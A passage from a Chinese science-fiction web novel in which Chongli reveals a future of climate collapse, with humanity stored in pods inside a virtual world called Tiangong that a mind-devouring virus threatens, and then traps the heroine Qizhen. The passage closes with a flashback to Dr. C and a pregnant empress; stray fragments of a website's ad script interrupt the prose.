“从你知道的讲起。”重离双手交握,放在翘起的膝盖上,开始他的平铺直叙。 “人类在地球上生存二十亿年,是一种进化极其缓慢的生物。这个物种之所以能在两万年前脱颖而出,是因为它心智进化的加速度胜于其他物种,可是那点心智,不够成熟到把握它们命运发展的方向,所以两万年后,人类走向了灭亡。” 栖真吃惊,没想到重离一上来就抛重磅炸弹:“在你的时代,人类已经灭亡?” “我说的是走向灭亡。” 栖真…… 什么东西不是自诞生起就走向灭亡?只要不是彻底灭绝,就不算灭亡! 重离看了她一眼,继续道:“以二十一世纪为节点。250万年前,人类开始使用工具,这是人借助外力改善生存方式的起点。有了工具,人类才意识到能源使用的可行性,借摩擦生火开启了燃烧之路。有火就能熟制食物、冶炼金属,锻造更高级的工具。而能源是个好东西,有了能源,人类的发展越来越快。2500年前开始用煤炭,160年前蒸汽机使煤炭成为主宰,钢铁、铁路、军事起来了,就是你们说的工业革命!还有石油的开采,百年后海陆空和所有军化工都被煤炭和石油支配。” “人类发展能源缔造更先进的文明,沾沾自喜,不知道潘多拉魔盒由此开启,燃烧化石燃料引发一系列后遗症——二氧化碳的排放加快全球变暖,二氧化硫和二氧化氮污染大气,使极端天气突增,发电的余热排到水中引起热污染……生态越来越糟,在你的时代,科学家做过预测——全球平均气温上升5度,环境将面临全线崩盘,物种将大面积灭绝。这个预测敲响了警钟,全球气温确实像预测那样在以过去几十万年没有的速度直线上升。十九世纪后两百年,全球平均气温上升了1度,到了你那个年代,二十一世纪,上升了2度。” 栖真坐正:“你说的这些我知道,上学的时候学过,因为污染严重所以我们才要启用新能源,淘汰化石燃料,我想应该不至于到崩盘的地步吧?” 重离像没有感情的机器人:“崩了。” 栖真愕然。 重离在沙发侧翼上按下按键,前面的屏幕亮了。 屏幕上出现一张从北极俯瞰的世界地图,重离道:“公元2250年到2350年,全球升温,加拿大和阿拉斯加的冻原开始解冻,冰封在冻原下几十万年的二氧化碳和甲烷悉数泄漏,在北半球上空形成厚重的温室效应,加剧北极冰层融化,全球海平面上升,最先淹没的是这些地方。” 随着他的操作,图片在屏幕上一张张划过,栖真看到蓝色的面积越来越大,印尼、澳大利亚、新西兰都消失不见。 “到2400年后的五十年,海拔二百米以下的大陆架沿海城市都淹了。” 屏幕上的地图已经不是栖真熟悉的样子了,欧亚大陆北部被蓝色全线覆盖,非洲大陆只剩东南角,像下垂的弯型水滴,看起来离欧亚大陆更远。 “公元2626年,我们称为诺亚元年。” “诺亚……”栖真心惊,生怕下一张图片只有一片汪洋,再看不见陆地。 但是还好,屏幕上出现的图片并不像想象的那般惨烈,至少大陆还在,虽然面积比上一张小很多,但并未全部淹没。 栖真语气发沉,看向重离:“为什么叫诺亚元年?” “因为从这个时间点开始,地表不再适合人类生存。” 栖真指着屏幕:“没有全部淹掉啊。” 重离:“你以为所谓的全线崩盘就像我给你看的图片,到哪一年淹到哪个程度这般机械?不,那是所有系统的崩溃,是无可救药的覆灭。气温上升,生态链断裂,全球金融系统彻底瘫痪,人类从谋求发展转入挣扎求生,曾经遍地开花的工业文明戛然而止,农业林业因昆虫目的锐减和化工的缺乏全线倒退,全球粮食大幅减产;冻土层的融化使地表下陷,导致地底工业燃料箱和天然气管道爆炸,超过三亿吨的燃油流入海中,污染了全球海域,浅海鱼类悉数灭绝,海洋资源逐年枯竭。还有,冻原下封冻万年的病毒快速溢出,加上全球核电站的相继泄露,人类赖以生存的空气成了一种混合型毒气,被电离层中的温室气体牢牢包裹在地球表面,没有一个肉体凡胎能在那样的有毒气体下生存。为什么叫诺亚元年?因为2626年,不可能在地表找到一个活着的人了。” 栖真像在听科幻小说,感觉十分荒唐:“就我那个年代,人们都意识到环境问题的严重性,国际社会也在行动起来为保护环境而努力,蒙特利尔议定书、京都议定书、哥本哈根协定都是白签的吗?我们怎么会允许事态发展到这么严重的地步?” 重离问:“《圣经》创世记中提到的通天塔,知道吗?” 人类联合起来想兴建通往天堂的高塔,上帝为了阻止这个计划让人类说不同的语言,使人与人无法沟通,导致造塔行动失败。 “你看。”屏幕的冷光在重离眸中映出清冷的弧光:“创世以来,不同种族、不同国家的人说的就不是同种语言,让人类朝一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目标努力难如登天。” 栖真:“可是面临生存压力,面对生死,都不能让人们团结起来吗?” “我刚才说了,人类是一种心智不够成熟的生物,并不具备足够的远见。相反,基因里的自私、虚荣、势利和偏执更容易主导他们的头脑。”重离手指在扶手上点了一下:“你应该可以洞察,你那个年代,全球化已经出现倒退。” 栖真默了片刻,问:“因为新冠病毒?” “知道你会对那个时代多些关注,为了说得准确些,我查了一下资料。”重离道:“那个时代的视野有局限性,将一战和二战看得重,可实际和后面的全球覆灭比,两次世界大战根本不算什么,但我仍想提一句,毕竟那个时代的世界格局是在二战后奠定的,美苏通过雅尔塔体系在二战后称霸世界,成为两大对立阵营,直到计划经济的苏联解体,市场经济的美国成为全球霸主,将全球战略定为它的基本国策。之后二十五年,再无大国能与之抗衡,安理会四常最多只是制衡。就是在这二十五年间,全球化兴起,经济和科技都迎来全球和区域合作的高峰,以联合国为首的国际组织更是大力倡导多边合作。可是公元2016年后,这种一家独大、全球谋求合作、共同发展的局面出现了变化。” 弱非恒弱,平衡被打破,称霸全球的大佬感到威胁,从抵制到反制,从大国贸易战到俄乌战争,还有来源不明的疫情,桩桩件件都使主导国间离心离德。 “环境治理是综合的,本质是发展、经济和人口问题。”重离很平静,纯粹站在后人角度解读一段千年前的历史:“谁都想在一口锅里争食,烧柴的必然比别人少吃一口,争的人多锅里肉少。人类不是没有为未来努力过,只是掺杂太多变数。在合作中统一的思想,在竞争中成了明面上的遮羞布,私底下的分崩离析让落到实处的成效收窄,甚至倒退。毕竟在真正崩盘前,末世图景仅仅停留在人们的想象中,看得见摸得着的是眼前的利益。这是一场人类无意识的集体自杀,等发现来不及时就真地来不及了。那是一个临界点,过了,蝴蝶煽动翅膀,首块多米诺骨牌就此倒下。” 栖真心跳有些快,想喝口水,可重离这里没有水,四年里就没有过。 她动了动发僵的身体,手心全是汗。 “可你说你来自3026年……”栖真用一种见鬼了的眼神盯着重离:“如果你说的都是真的,那么人类在你的时代往前三百年就已经覆灭了不是吗?” “你的理解力真让人堪忧。”重离冷道:“我说的是,从2626年,也就是诺亚元年开始,地表不再适合人类生存,但我没说人类就此覆灭。” “那是什么意思?” “人类转入地下了。” 栖真…… 重离道:“公元二十三世纪初始,有一小部分人提前预见到全球覆灭的命运,脱离政府管控,将精力放在最后的求存上。这群人的首领,你可以称呼他C博士,带着科研团队只研究一个命题——全线崩盘后,人类该如何延续。” 栖真好奇:“到了那个年代,我们都没实现太空移民?”毕竟太多的科幻作品都预言了人类对宇宙的征服。 重离给出答案:“对太空的探索在二十二世纪进入高速发展期,如果不是地球上出现生存危机,或许再有一两百年真地可以实现星际移民。但是很遗憾,人类没能等到那个时候。末世初现,没有哪个大国顾得上探索太空了,所有的人财物都投入到弥补生态漏洞上。可惜这一次,人类没有得到上帝的庇护,补漏的速度跟不上决堤的速度。” “所以C博士的末世求生方案并不包括往上找,而是往下寻?” “对。”重离道:“C博士的团队一开始只想在全球找一个相对与世隔绝的地方,高海拔且一定要具备可封闭条件。找地方很难,论证可封闭性更难。他们足足找了十年,最后终于在东经106.1439,北纬17.5469,找到了那个理想的地方。” 栖真对经纬度没有概念,便问有没有地图可以看。 重离操作,屏幕上出现经纬度指示的地方。 栖真辨识了一下,吃惊道:“这里?我去这国家旅游过,那里平均海拔很低,肯定是最早被淹没的地方啊。” “找不到两全其美的方案,此处得天独厚,经过技术改造,可以真正做到与世隔绝。最重要的是,这处洞穴空间极大,可以容纳上亿人。” 栖真倒吸一口凉气:“上亿人?一个洞穴?” “公元二十三世纪全球人口达到一百五十亿,等这里开发成功,十五分之一的人类将获得生存机会。” 栖真艰涩道:“所以在你的3023年,有一亿人住在这样一个封闭的洞穴里?” “不。”重离道:“当末世降临,真正进去的只有来自全世界的二十万人,而如今,只剩九万九千八百八十三人了。” 冷汗冒出来。 即便“只有”十万人不到,也是活生生的十万条生命!栖真无法想象如此庞大的群体,要怎么在地底生存。 212. 第 212 章 栖真徒然起身:“我出去透透气。” 没等重离首肯就跑出样板房,外面仍然暴雨如注,她在洞口深呼吸几次,缓解胸闷。 为何听到重离说只剩九万九千八百八十三人时,她的反应会那么大? 栖真理了理思绪才回到洞中,道了声歉,再次坐下道:“你刚才说在未来,空气成了一种混合型毒气,没人能在那样的有毒气体下生存,可洞里没有空气吗?我是说,空气和水不同,发大水还能用堤坝阻隔,空气这种东西,只要洞穴有和外界相通的缝隙,是没法百分百隔绝的。” 重离道:“我们用可生存性指数SurvivabilityIndex来衡量空气中蕴含的毒性给人类带来的致死率。中土的SI是95.1-98.7;二十一世纪初,SI为64.3-70.2;到了诺亚纪年,SI直接降到15以下。在我的3023年,SI只有3.2。在中土,你见过有谁得肺病?这里的空气少有污染,活到一百岁以上的人比比皆是。到了你的时代,人类的平均寿命缩短至七八十岁,全球每年有140到150万人死于肺癌;而到诺亚纪元,在SI10的空气中正常呼吸,肺部就会在十分钟内感染病毒,二十分钟内肺部纤维被悉数破坏,病毒通过对心肺的腐蚀,由血液带到全身,三十分钟内一个成年人就会通体感染,皮肤溃烂,呼吸衰竭而亡。” 肺癌…… 栖真被这两个字刺痛。 思绪游离时,重离继续道:“你想的没错,即便找到庇护所,也不代表那里适合人类裸存。一开始C博士的团队只探索到洞内5公里深,有一块天然洞壁阻挡了去路。经过声呐探测,描绘出洞壁后的空间无边无涯,极为广阔。他们只要凿穿洞壁,就能进到后面全封闭的空间去,可谁能保证开凿过程中有毒气体不漏进去呢?那根本不可能。所以C博士设计的方案并非让人类在洞中生活,而是想找一块相对安全的地方,来保存躯体。” “保存躯体?”栖真注意力被拉回来,惊诧道:“什么意思?” 重离看向栖真,眼神透出兴奋,像带着隐隐的迫切,这是栖真从没在他身上见过的。 重离问:“说到这里,你还是没有感觉吗?” 栖真一头雾水:“什么感觉?” 屏幕再次亮起。 这次不再是像PPT一样的照片了,而是一段视频。 这视频没有一点背景音,是全然的寂静,只有镜头缓慢扫过面前的景象。 一开始栖真没有看懂,只觉得屏幕上黑漆漆,隐约有无数一闪闪的细小亮点。 细看才1发现这应该是一处巨大洞体的内部,这时扫视的镜头停下来,开始往前聚焦,栖真终于看清镜头想要表达的细节。 她有点不敢相信自己的眼睛。 那无数密密麻麻闪着绿光的细小亮点,竟然是一个个巴掌大小的圆形电子器件,镶嵌在无数长条形器物的中间。 而那长条形器物,栖真很熟悉,毕竟她进进出出,在这个装置里躺了四年。 安置舱! 居然是安置舱! 无数的安置舱,和重离的一模一样,像搭积木般一个叠一个,整齐的从地表往上百米高的洞顶堆去。就这样一列又一列挨着,围成一个直径足有足球场那般大的圆形,看起来像一个中间镂空的圆筒。 近镜一晃而过,又很快拉远。熟悉的感觉扑面而来,那一瞬间栖真已经知道舱内有什么了。 人! 每一具安置舱内,都躺着一个人! 画面还在继续。 由几万个安置舱围拢起来的中间地带,有一方大型圆台,台上有一组高高低低闪着彩光的电子组合元器件,被透明的罩子罩着。 从视频上看,元器件构造之复杂,完全超出栖真可以理解的范畴。她只能从器件上活跃的彩光判断,这应该是一台超运力的大型计算机。 而圆台四周,支出去十几根粗壮的长条形金属支架,支架的另一头对接在安置舱壁的下端。 乍一看,圆台、支架和安置舱墙像一个平放在地上的巨大车轮。随镜头拉远,栖真在洞里至少看到四个这样的大车轮。 视频到这里结束了。 栖真半晌才回神。 重离让她亲眼看到了C博士的方案——不是建造一座适宜居住的地下城,而是用棺材一样的安置舱来保存人类的躯体。 栖真压下心潮起伏,再一次询问:“这就是诺亚时代的生存方式?” “对,这是“生巢”。每一个生巢由五万个安置舱和一台中央处理器组成。中央处理器通过钛合缆控制每一个安置舱。你看到的这一片,可以容纳二十万人。” 栖真无法理解:“可这是生存吗?二十万人躺在二十万个棺材里?你们把这叫做‘活着’?” “你觉得什么是‘活着’?”重离反问:“一个人活在世界上,究竟是身体活着,还是意识告诉他,他活着?” “身体和意识是一体的,身体存活,才有意识!” “没错。”重离道:“想想那些还有意识的植物人吧,很痛苦是不是?明明意识清醒,身体却无法动弹。可设想一下,如果他们的意识根本不在现实里呢?如果他们的意识进入了一个自由的虚拟世界,以另外的身份自由自在的生活,你觉得他还会痛苦吗?” 栖真愣住了。 “人类寻找永生之道,孜孜不倦,从古至今从没停止过。谁能想到直到末世降临,永生之门才真正向人类开启?”重离向来波澜不兴的脸上闪过一种奇怪的神情,像陶醉,又像自豪:“人类的生存需要太多客观条件,阳光、食水、空间、排泄、温度、湿度……缺一不可。但条件越多掣肘越多,每一项需求背后都意味着高成本的创造。而这些还只是最低层次的□□需求,精神上的追求无法估量。但在末世,不可能有一个地方容纳那么多人还满足所有的需求。人类但凡想生存下去,就必须改变自身生存模式,把身体需求压缩到最低,用最小代价维持人体机理的正常运转。至于精神和意识,那是另一个层面的东西,一个完全可以从身体抽离出来的东西。让意识进入全新的虚拟世界,用那个完美的世界来容纳所有人的意识,为人类提供精神上的家园。” 栖真以手掩面:“真是疯了!” 她忽然想去找重离房间里的那个安置舱,再看一眼舱内的构造,重离阻止了她,指着屏幕里的舱体道:“安置舱可以提供纯净的空气,躺在里面的人处于近零消耗的沉睡状态,舱体通过皮肤直接输送养分,维持长时间的机体存活,而头部的传输器可以将人类的脑电波接入虚拟世界。” 栖真终于明白过来,四年里不吃不喝的重离到底怎么活下来。 “你说的长时间,是指多长?” “如今存活的九万九千八百八十三盏生命灯,从诺亚元年开始就没有熄灭过。” 栖真觉得太不可思议了! 换句话说,有99883个人,在安置舱里活生生躺了四百年? “事实证明,意识和本体脱离的生存模式是完全可行的,这种模式给人类带来的幸福感远甚从前。”重离不为栖真情绪所动,继续道:“在虚拟世界,一切都合心意。在那里照样有日升日落四季更替,照样经历风霜雨露饥寒疼痛,但没有一项会真正置人死地。人们能自由地享受性而不必担心怀孕。你不觉得这才是人类真正描绘的创世纪、向往的桃花源、追求的乌托邦、醉心的大同世界吗?” 这概念对栖真而言其实并不陌生,她脱口道:“所以你说的虚拟世界,本质上就是一个全息元宇宙版的网络游戏?” “以你现在的认知,对,可以这么理解,但智能上千倍,无论舒适度还是适配度,都不是一千年前的网络游戏可以比拟。” 栖真指出疑点:“既然C博士的方案可行,且令人无比幸福,为何还有十多万人死去?难道是安置舱的供给有时效性?” 这次重离停顿的时间有点长,像在斟酌话语,可他还是解释道:“不是安置舱的原因,而是虚拟世界中的一些……小危机。” “C博士在创建虚拟世界时用的是拟真抓取技术。简单来说,就是这个世界并非靠人工软件制作,因为如此庞大的体系,如此复杂的交互功能,根本不可能使用机械的编程来制作。它必须由一套,用你们的概念去理解,人工智能的模式,在现实生活中建模,抓取实物和实景,再交由系统进行算法上的优化。换句话说这套系统在成型阶段就是活的,像婴儿一样,通过抓真,不断从现实、从历史档案中摄取养分供养而成。为了保留真实的人性,在对抓取元素进行分类时,C博士他们并没有舍弃真实世界中的恶行,因此在这个虚拟世界中照样会有各种黑暗面存在。他们认为只要有安置舱的供养,即便在虚拟世界中被伤害,都不至于致命。但是他们忽略了一件事!拟真技术将真实世界中的一种模型也抓取进来。” “什么模型?” 重离道:“计算机病毒。” “无论什么样的恶,都只是虚拟世界中光明与黑暗的博弈,维持人性活力的鲶鱼,但计算机病毒不是!它在现实世界中只是罪恶的一个分支,但在虚拟世界中完全凌驾于世界之上,成为直抵root的存在。C博士他们设置了防火墙和过滤网,都没能阻挡自带伪装属性的病毒。打个比喻,如果把虚拟世界比作婴儿,那么随着孩子长大,体内一开始只是一个小燎泡的病毒也开始成长。当虚拟世界变得成熟,那个小燎泡也终于变成癌细胞,在虚拟世界内到处肆虐,创建了具象化的形象,更以吞噬人类的神识为生。越是纯净的神识越能为它提供高当量值的能量。而被它吞噬的人,精神力会彻底破碎,类似于你们理解的脑死亡。” 游戏开发栖真太熟悉了,立刻能明白重离的意思。即便是她公司开发的《天宫》,大量的数字基建和交互用的都是AI。 她惊骇道:“所以那十多万人并非死于现实,而是死在了一款游戏里?” 重离道:“当中央处理器判定一个人的精神值下降为零,就会取消这个人的棺码,关闭安置舱,不再提供养分。所以这个人无论身体还是大脑,都真正宣告死亡。” 就是说视频里浩如星海的安置舱,有一半,里面躺的是真正的死人! 栖真不寒而栗:“所以,人类因末世躲入虚拟世界,结果仍逃不掉被吞噬的厄运,只是从一个战场换到另一个战场而已?” 重离却道:“吞噬者虽然致命,但不能就此抹杀天宫在延续人类生存上做出的贡献。” 栖真脑海中炸响惊雷,一下坐直了,失声道:“那世界叫什么?” “天宫。”重离定定地看着她:“作为创始人,C博士将这个虚拟世界命名为‘天宫’,天上仙境的意思,而那种吸取人类精神力的病毒,被称为吞噬者。” 一股源自心底的恐惧开始飙升,栖真觉得毛骨悚然。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>天宫? 吞噬者? 是巧合吗? 世上会有这种巧合吗? 她出口的话都在抖:“你说的那个虚拟世界是什么样子的?” “还需要跟你描绘?你的梦里没有吗?”重离问。 栖真激动地站起来:“你怎么知道我的梦?我从没跟你说过我的梦!” 重离在沙发上按了一个键,起身道:“世上只有一个天宫,诞生于公元2626年,已经足足运行了四百年。栖真,到这里你还不明白?即便记忆被消除,你都没怀疑过自己为何拥有那个奇异的梦境?” 这些问题像重锤直直向栖真砸来,她晕头转向,有模糊的记忆自脑海深处破土。 可没来得及探究,身边环境就起了变化。 耳边是咔嚓咔嚓的机械声,就见现代样板房的天花板、墙壁、家具像折叠的机关,对折再对折,快速收拢进洞壁里。 不过几秒,整间样板房彻底消失了。 他们又站在那个原生态的山洞中,一如四年前,她第一次进入这里时一样。 “你一直想知道,幸福值达到100代表什么。”重离指向山洞的斜上方。 没了天花板的阻挡,栖真一抬头就见到洞壁上的血条。 已经一年多了,这根测试幸福值的血条一直在90和95之间徘徊,再没上去过。她都快忘了这事,可是现在,血红的颜色探到了顶。 满格了! 她的幸福值终于牢牢占据100这个数值。 栖真多少知道原因,她轻抚肚子,并没为此庆幸,风雨欲来的感觉让她浑身绷紧。 重离走近,眼中闪着奇异的光,拦腰抱起栖真,像初次见面那样凑近,像在闻什么无与伦比的气息,在她脖颈上舔舐起来。 栖真吓傻了。 这男人除了那日不分青红皂白咬她一口,四年里再无过激行为,更遑论进一步的肢体接触,她完全不明白重离眼下在做什么。 重离却越发过分,如久饥者忽闻佳肴,吸毒者得到毒品,被栖真的味道全然吸引,举着她又嗅又舔,恨不得一口吞下。 “放开我!你疯啦?”栖真脚不着地,一番挣扎在钢铁般的钳制下于事无补。 她扇了重离一巴掌。 贴肉的脆声在洞中轻微回响。 重离颊上显出红里带白的五掌印,这巴掌确实将他从某种沉溺的幻境中唤醒,撕碎他冷漠的外表,深褐色的眸中闪出嗜血的光。 “我在中土等了你一百年,我知道总有一天你会来到这里,鸟儿怎么可能逃得过猎人的牢笼。”重离放下栖真,神情狠厉,透着一种莫名的“爽”。 “我为你打造一片净土,用结界圈禁你的神识,结果结界还是被人打破。但是没关系,你虽然飞出牢笼,最终还是一头撞进我的怀里。我日以继夜等待你的幸福值满额,那代表你的神识将攀升至巅峰,焕发出无与伦比的气息!你能够再次用极限的精神力,成为人类神识的吸收器。” 栖真听不懂。她发誓,如果知道事态的后续发展会让她付出怎样代价,此刻她一定扑上去把重离打得满地找牙,再不济也会想办法拖住他,不让他坐回山洞尽头的石座。 遗憾的是栖真无法预测未来,所以此时此刻,她第一反应是转身逃离。 感知图穷匕见的危险,知道必须尽快搬救兵,她没看到身后的重离一步步走上王座,在扶手上操作。 地面轰隆,一根粗大的透明管子从洞底升起,挡住了栖真的去路。 她撞在凭空出现的管身上,发现后路也被切断,她被完全困在圆形透明管中,像玻璃试管罩住的昆虫。 栖真惊骇地拍打管身,可管子严丝合缝,耳边只有闷钝的敲击。 很快,脚下一凉,一股黄绿色的液体从地底涌入管内,眨眼没过膝盖,并持续上升。 “重离!你做什么?放我出去!” 栖真敲击管子,可这么一点功夫液体已经漫到腹部,冰冷的液体和刺鼻的化学气味引人恐惧,管道壁滑不溜手,没有任何可以躲高的办法。不出一分钟,她会被彻底淹没。 重离再次按动按钮,洞的正中地带,又一根透明管道从底下轰隆升起,直通洞顶。 这根管道更粗,直径至少七、八米,底部是一米多高的灰色基座。基座的圆形侧边缓缓亮起方块状的电子灯,像某种高智能机器启动时的指示灯。 重离走下石阶,与栖真一壁之隔。 “知道你不会配合,所以将你放在能量负荷液里。瞧瞧,在能量液里的你多么美丽,再无人像你这般拥有出类拔萃的精神力。栖真,你是世间最强的聚合器,因为你的存在,散落的神识都将归我所有。来,让我们做个测试,山上有多少人?一百还是两百?很快,你会在‘聚荷池’中见到他们。” 能量液淹到栖真下巴,她拼命踮脚争取时间,重离的声音从外面传入,隔着厚重的管道显得闷钝,但她还是把他的话听全了。 “你疯了!我不懂法术,不是什么聚合器,你……” 栖真双拳敲着管壁,已然无处着力。恐惧攀到顶点,连悲哀的时间都没有,黄绿色的液体就没过头顶。 栖真咬牙憋气。 再使不出力气,不得不随能量液向上浮去。 倒映在视网膜上的,是重离扭曲的笑和能量液中激闪的红光。 手上的护戒发疯般示警。 213. 天宫(1) “C博士,昨日吞噬者入侵海东区,200匹精神力抵挡不了,加到250匹才将其击退。但我们明显感觉吞噬者的力量在提升,不知道下次侵袭能否抵挡得住,请求总部加强结界,为海东区增派人手。” “这是三个月里第四次侵袭了!穆兰城根据您的指示组织演习,确保民众在面对小型吞噬者时知道如何自保,尤其暮黑之后不能出城。可是原本人均可抵10匹吞噬力,现在7匹都挡不住!” “请求总部为月亮湾加强结界。博士,吞噬者好像找到了消融结界的办法,太可怕了!月亮湾要挡不住了。” 男人全神贯注听取来自各地的报告,巨大的全息屏散发的冷光映照着他忧虑的眉间,他一一回复后关掉全息屏,在椅子上坐了很长时间。 站在身后的副官格朗担心道:“博士?” C博士抬头,将眼中的迷茫和无力掩饰得很好:“最初一百年,吞噬者吸食了五十六条生命,第二个一百年上升到八千;到三百年,这个数字变成了三万四。格朗,它在成长,吞噬的精神力越多它的胃口就越大,如今天宫人口锐减,再找不出遏制吞噬者的办法,人类真要灭绝了。” 格朗不忍心看到这样颓丧的博士,他跟随他很久了,比天宫成立的时间还长。作为诺亚计划的首领,C博士为天宫倾注多少心血,格朗比谁都清楚。 博士有一颗悲天悯人的心、惊世骇俗的创新力和高瞻远瞩的魄力,可如今,只因当初一个小小的疏漏,大局正在走向可以预见的全盘覆灭。 在天宫,人人将C博士看做创世神,认定他无所不能,只有格朗知道,这男人能力再强也只是凡人,同样会为自己的疏漏自责,为逝去的生命悲痛。 格朗安慰道:“博士,当初您能成为人类命运的引领者开创诺亚纪元,如今您也一定可以想出办法。” C博士起身步向阳台,推开落地窗,外面清新的海风吹进室内,他靠在阳台上,看着底下庞大而繁华的滨海城市。 一辆辆光速车在既定的轨道上飞逝,留下迷彩的虚影;一栋栋在历史纪元被认为是夜晚光污染的摩天大楼,如今在交错的轨道间彰显先进文明般璀璨地矗立;而大海边,作为诺亚主城的标志,五彩缤纷的复古摩天轮正在缓缓运行。而这一少有人去坐的东西,是他在天宫为人类保留的浪漫之一。 “不是没有办法。”在无数电子灯交织的城市暮色中,C博士终于开口:“要消灭一个大胃口,除了让它饿死,还可以让它撑死。” 格朗跟随C博士来到阳台,闻言眼前一亮:“您是说?” C博士道:“吞噬者逐年壮大,吞噬力上限增加,过去它只能吞噬五十个人,后来成了八千……我们倒过来想呢?如果在一个时间点塞给它两万精神力,远远超出其可容纳的上限,它会怎样?” “我们要从防御转入进攻了吗?”格朗激动起来:“与其坐以待毙,坐等吞噬者日益成熟,不如趁天宫人口远在吞噬力之上,团结起来,将神识集中投喂,撑死它!” 他用了“投喂”这样一个古早的词,但确实形象。 C博士轻抚栏杆:“知道困难在哪里吗?” 格朗想了想:“团结几百个神识不难,同一时间团结几万例,太难了。” “没错。”C博士道:“人类如果是那么容易统一认知的存在,又何至于被神罚到躲入地下?上万个神识是必须的,但不能寄望于人们自愿奉献,我们需要一个强有力的‘聚合器’,将神识拧成一股绳。” 格朗道:“博士,整个天宫,还有谁的神识比您更强,更有号召力?” C博士沉默。 格朗意识到自己说错话。 那个能吸收上万神识的“聚合器”——请原谅他以如此物化的字眼代称这位奉献者——必须到前线直面敌人。万一不成功,不仅背后上万人的神识会被白白葬送,自己更难逃被吞噬的命运。 博士作为天宫的创始人,肩负重责,怎能让他冒这个险? 太阳渐落,瑰丽的晚霞照耀着诺亚主城,经过结界折射,烟花般流光溢彩,把主城衬托得像水晶球中的童话世界。 天宫初立时是没有结界的,随着吞噬者给天宫造成的损失渐多,C博士才不得不在天宫主程序中增设。 结界就像防火墙,预防着吞噬者的入侵,可这招并非一劳永逸,C博士也有力不及处,他们至今无法从主程序中根除病毒。这个情况可以套用一句先哲的悖论:给我一个支点,我能撬动地球,但问题是,到底站在哪里才能找到那个支点?他们已然身处系统内,又怎么可能依靠技术手段,去消除处于同一纬度的病毒? 而这还不是最令人沮丧的! 近百年来,C博士意识到一个更加可怕的事实——结界更新的速度,根本比不上吞噬者自我进化的速度。 长此以往,总有一天吞噬者将彻底破坏结界,吃掉天宫中所有剩余的神识,留给人类自救的时间不多了。 C博士目视天空:“四百年了,还记得公主吗?” 格朗一愣,立刻接上:“您接生的那个诺亚宝贝?” 公元2626年8月7日,二十万对地球失去信心,不愿忍受无时无刻带着钛离子面具在地表生活的人类接受了C博士的地下方案,由四十批次的新型潜艇抵达东经106.1439,北纬17.5469海域,进入早已淹没的天然洞穴。 相比将洞中可生存性指数维持在15左右,以便使他们顺利脱掉面具躺进安置舱,排空洞口的海水根本不至于构成技术难题。 四十批次的潜艇从直径宽大的洞口驶入,驶过被海水淹没的洞体后上浮,被冠以“先锋者”之名的人类,正式踏足干燥的不受海水侵蚀的最后一块地球净土。 从入口到洞穴深处的安置点还有十里路。他们在登陆后换上素净衣——一种古希腊式样的白色长袍,每隔几里经过一道安装在洞内的高分子净化门,将附着在身上的有毒气体降纯,以便以纯净之躯进入庇护所。 这二十万人中,不乏达官显贵和皇室名门。 当生存在地表的平民还在不断向上帝祈祷,盼望特权阶层能为人类开拓新的求生之路,那些拥有更多资源和资讯,具备更强势力和财富的人们早已看到地球的穷途末路,从而选择另一条可得永生的道路。 没人救得了所有人,但至少可以救自己。 C博士团队就是在进入高分子净化门的第一批人中,发现那个孕妇的。 她不该出现在这里。 诺亚计划有着严格的申请条件,申请者体重不得大于170磅,因为太肥胖躺不进统一制式的安置舱;也不接受孕妇,因为安置舱无法同时为两个人提供足料养分;更不接受十三岁以下的儿童,为了天宫运行的稳定,C博士认为进入天宫的神识至少应该来自成熟的个体。 这个女人避过所有的前置审核,穿着厚重的防辐射衣登上潜艇,又在同伴的掩护下换上素净衣,来到这里。 在进入高分子净化门时,所有伪装都失了效,门内刺耳的警报声响起,格朗带着护卫将这位引起警报的女士单独请出队伍。 即便带着防毒面具,仍能通过透明面罩看出那是一个极具东方古典韵味的女人。高挑,四肢修长,脖颈宛若天鹅般优雅。没了同伴的掩护,圆润的肚子就显露出来。 她并不慌张,被发现后索性讲明实情,告诉格朗自己的诺亚编号。 那窜编号格朗一听就知道。 因为当初在看申请名单时他还和博士打趣,说如此古老的皇室居然也参与诺亚计划!您看这位现任皇后,听说她的丈夫前不久死于肺癌。没办法,动乱局势下根本无人顾得上皇位更替,况且也没人能站出来继承皇位了,看来这个皇室真要绝后云云。 如今,这位久不在大众面前露脸的皇后正挺着孕肚,矜贵地站在他面前。 格朗不敢怠慢,转身去请C博士,即便要拒绝她的进入,话也得让博士来说。 “殿下,您很清楚,一个安置舱无法为两人提供养分。我们在所有的预先说明中都明确标识出这一点,可您还是来了。我无意冒犯,但仍想知道您执意这么做的原因。”留下所有的同伴,C博士带皇后走到无人区,决定进行一番开诚布公的谈话。 “是的阁下,我很清楚这点。”皇后语声款款:“但这个孩子是我们最后的希望。” 她轻抚肚皮,即便灰暗洞穴中完全不具备美感的电子照明,都不能揉灭她脸上母性的柔光。 “这是一位小公主。如果不是生逢末世,她将成为我们国家的女皇。可如今我只希望她活下来,平安降生到这个世界,无论她以哪种形式活下去,活着就好!只要活着,就代表她背负的血统、身肩的古老文明没有彻底灭绝。她已经足月,做好了降世的准备。我希望带她进去,生下来,然后……”皇后直视博士,目光恳求:“请让她直接进安置舱。” C博士动容:“您希望她一出生,就进入安置舱沉眠?” “是的。”皇后给出明确的回答:“阁下的诺亚计划一推出我们就研究过。安置舱提供的养分可以将她养大,只不过速度缓慢。但是诚如阁下七年前匹兹顿堡演讲时所言,如果现实世界已经无法存放人类的未来,那么身体就只是精神的载体,幼儿还是残疾,已然无关紧要。” 她说的这点C博士当然知道,但他向来对孩子没好感,在他心目中,十三岁以下的幼崽就是自私和无理取闹的代名词。即便从技术上说安置舱的功能比养育箱完善得多,对外披露的信息中,团队仍采用相对保守的数据,以杜绝天宫中出现任何幼儿的神识。 所以C博士只是微笑,不说话,以此表达拒绝。 皇后尝试继续说服,她懂得面对一个科学家,什么才能最快速度撅住他的兴趣。 “阁下,您不想做个实验吗?她将成为唯一一个诺亚宝宝,天宫中最纯净的人,没有任何现世记忆会留存在她的脑海中。她将以天宫为皈依。而您不想对比一下,现世人和诺亚人的区别吗?” C博士沉吟良久。 或许在那一刻,某些伦理在他心头留下一闪而逝的痕迹,但C博士最终还是道:“请跟我来。” 他们回到第一道高分子净化门,后面批次的先锋者正在通行。而皇后的三个同伴,也是三位女士,一直站在门内,焦急地注视他们。 C博士亲自带四人脱离队伍,穿过十里长洞,进入最后的安置点。 